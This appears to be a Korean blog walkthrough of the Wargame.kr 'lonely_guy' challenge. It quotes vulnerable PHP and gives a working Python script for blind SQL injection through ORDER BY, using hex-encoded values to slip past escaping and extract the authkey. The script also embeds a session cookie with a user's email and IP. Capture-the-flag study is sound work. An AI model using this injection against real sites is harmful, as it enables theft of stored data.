Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 lonely_guy 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 order by를 이용하여 Blind SQLi를 이용해야 하는 문제인만큼 간단하지만은 않은 문제입니다.

더군다나 삽질하면서 연구해보았지만 제대로 사용할 수 없어서 시간을 많이 소비했습니다. ㅠㅠ




 

 문제 이해


문제는 다음과 같습니다.

문제에서 Blind SQLi를 이용하라고 하고 order by를 이용하라고 합니다.


문제로 들어가면 다음과 같은 표가 나타나게 됩니다.

따로 입력하거나 출력이 바뀌지는 않도록 되어 있습니다.


view-source를 보면 다음과 같은 소스가 나타납니다.


<?php
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html>
 <head>
  <style type="text/css">
   body {background-color:#eaeafe;}
   #title {text-align:center; font-size:22pt; border:1px solid #cacaca;}
   #reg:hover {color:#557; cursor:pointer;}
   #contents {text-align:center; width:550px; margin: 30px auto;}
   #admin_tbl {width:100%;}
   #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;}
   #admin_tbl tbody tr td {border-bottom:1px solid #aaa;}
   #admin_tbl #reg {width:200px;}
  </style>
  <script type="text/javascript" src="./jquery.min.js"></script>
  <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script>
  <script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script>
  <script type="text/javascript" src="./main.js"></script>
 </head>
 <body>
  <div id="title"> Lonely guys Management page </div>
  <div id="contents">
   <table id="admin_tbl">
    <thead>
     <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr>
    </thead>
    <tbody>
     <?php
      mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
      $sort = mysql_real_escape_string($sort);
      $result=mysql_query("select * from guys_tbl order by reg_date $sort");
      while($row=mysql_fetch_array($result)){
       echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
      }
     ?>
    </tbody>
   </table>
  </div>
  <div style="text-align:center;">
      <a href="?view-source">view-source</a>
  </div>
 </body>
</html>


9번 라인을 보면 sort 라는 값을 POST로 받는 것을 볼 수 있습니다.

또한 43번 라인을 보면 그 값이 order by 뒤에 붙는 것을 알 수 있습니다.


다만, order by reg_date 뒤에 붙기 때문에 조금 까다롭게 조건을 설정해야 합니다.



 

 문제 풀이


문제를 풀기 앞서, 삽질한 연구 결과 먼저 작성하려 합니다.(까먹기 전에)

풀이는 [문제 풀이] 소제목으로 넘어가시면 될 것 같습니다.


 

 order by 삽질


order by는 sql injection을 수행할 때 다음과 같은 방법으로 사용할 수 있습니다.


select * from table_name order by 1;


여기서 뒤에 숫자를 하나씩 늘려서 컬럼의 개수가 몇 개인지 알아내는 것입니다.

그렇다면 여기서, order by 1 과 같이 숫자를 이용하여 정렬을 바꿔볼까 했습니다.


select * from guys_tbl order by reg_date, if(1=1, 2, 1);


위와 같은 쿼리를 만들어 날려보았는데, reg_date 뒤의 값이 컬럼 인덱스로 인식되지 않습니다.

단, select * from guys_tbl order by reg_date, 2; 와 같이 쿼리를 날리게 되면 표의 값이 변하는 것을 볼 수 있습니다.


원인 대강 예상해보면, if문으로 리턴된 값은 단순히 int 값으로 인식하는 것 같습니다.(컬럼 인덱스가 아닌 단순 값으로 인식함)


따라서 컬럼 인덱스로 값을 넣어줄 수 없다는 것을 깨달았습니다... ㅠㅠ

그렇다면 여기서 order by 뒤에는 적절한 컬럼 이름과 함께 값을 대입해줘야 합니다.



 

 문제 풀이


여기서 저는 guessing으로 'the list of guys that need a girfriend' 부분의 컬럼 이름이 name이겠거니 하여 name으로 값을 넣어줬습니다.

여기서 order by로 지정된 값은 가장 아래로 내려가게 됩니다.


예를 들면 order by num, name='date' 라고 하게 되면 이름이 'date'로 되어 있는 값이 가장 아래로 내려가게 됩니다.

이 원리를 이용하여 문제를 풀어보려 합니다.


하지만, 문제에서 입력된 sort 값을 mysql_real_escape_string() 함수를 통해 필터링을 주었기 때문에 따옴표는 사용이 불가능합니다.


여기서는 hex 값으로 우회가 가능합니다.


따라서 sort 안에 들어갈 값은 다음과 같습니다.


, if([값을 알아내기 위한 쿼리], name=0x6368756c2d7375, name=0x6d696e2d7375)


참일 경우 name=0x6368756c2d7375 즉, 철수가 아래로 내려오도록 하였습니다.


작성한 코드는 다음과 같습니다.

import requests
import string
import sys

sess    = requests.session()
URL     = 'http://wargame.kr:8080/lonely_guys/index.php'
headers = {'Cookie': 'chat_id=+r; ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22231ebc2315c0dcfeffc74819c4e6535d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.217.38.14%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1554693195%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22KKAMIKOON%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22hjs5576%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22eng%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%224558%22%3B%7D6cb3f1381b377d42ddc075c97511e0d1b81cc668'}

# ==============================================================
# table ==> name, 
# column length == 3.  ==> order by 1,2,3,4(error)
# can acceptable hex values. ==> 'min-su' ==> 0x6d696e2d7375


# Get Column Counts   =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
ColumnName = b'authkey'

TableLength = 0

hexColumnName = ColumnName.hex()

for i in range(1, 100):
    payload = {'sort': ', if((select length(table_name) from information_schema.columns where column_name={})={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format('0x'+hexColumnName,i)}
    res     = requests.post(URL, data=payload)

    if 'chul-sucouple    ' in res.text:
        # True : chul-su
        TableLength = i
        print('[=] Find Table Length  : %d' % TableLength)
        break
    else:
        # True : min-su
        pass

print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')

TableName = ''

for j in range(1, TableLength+1):

    for i in range(0, 129):
        payload = {'sort': ', if((select substr(table_name,{},1) from information_schema.columns where column_name={})={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format(j,'0x'+hexColumnName,hex(i))}
        res     = requests.post(URL, data=payload)

        if 'chul-sucouple    ' in res.text:
            # True : chul-su
            TableName += chr(i)
            print('[=] Find Table Word  : %s' % (TableName))
            break
        else:
            # True : min-su
            pass

print('')
print('[=] Find Table Name  : %s' % (TableName))

print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')


# Get Element Length  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

ElementLength = 0

for i in range(1,100):
    payload = {'sort': ', if((select length(authkey) from authkey limit 0,1)={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format(i)}
    res     = requests.post(URL, data=payload)  

    if 'chul-sucouple    ' in res.text:
        # True : chul-su
        ElementLength = i
        print('[=] Find Element Length : %d' % (ElementLength))
        break
    else:
        # True : min-su
        pass

print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')

# Get Element Data    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

ElementData = ''

for j in range(1, ElementLength+1):
    for i in range(1, 129):
        payload = {'sort': ', if((select substr(authkey,{},1) from authkey limit 0,1)={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format(j,hex(i))}
        res     = requests.post(URL, data=payload)  

        if 'chul-sucouple    ' in res.text:
            # True : chul-su
            ElementData += chr(i)
            print('[=] Find Word : %s   :  %s' % (chr(i), ElementData))
            break
        else:
            # True : min-su
            pass


print('[=] Find Element Data : %s' % (ElementData))


위의 소스를 쭉 돌리다 보면 다음과 같은 형태로 나오게 될 것입니다.




+ Recent posts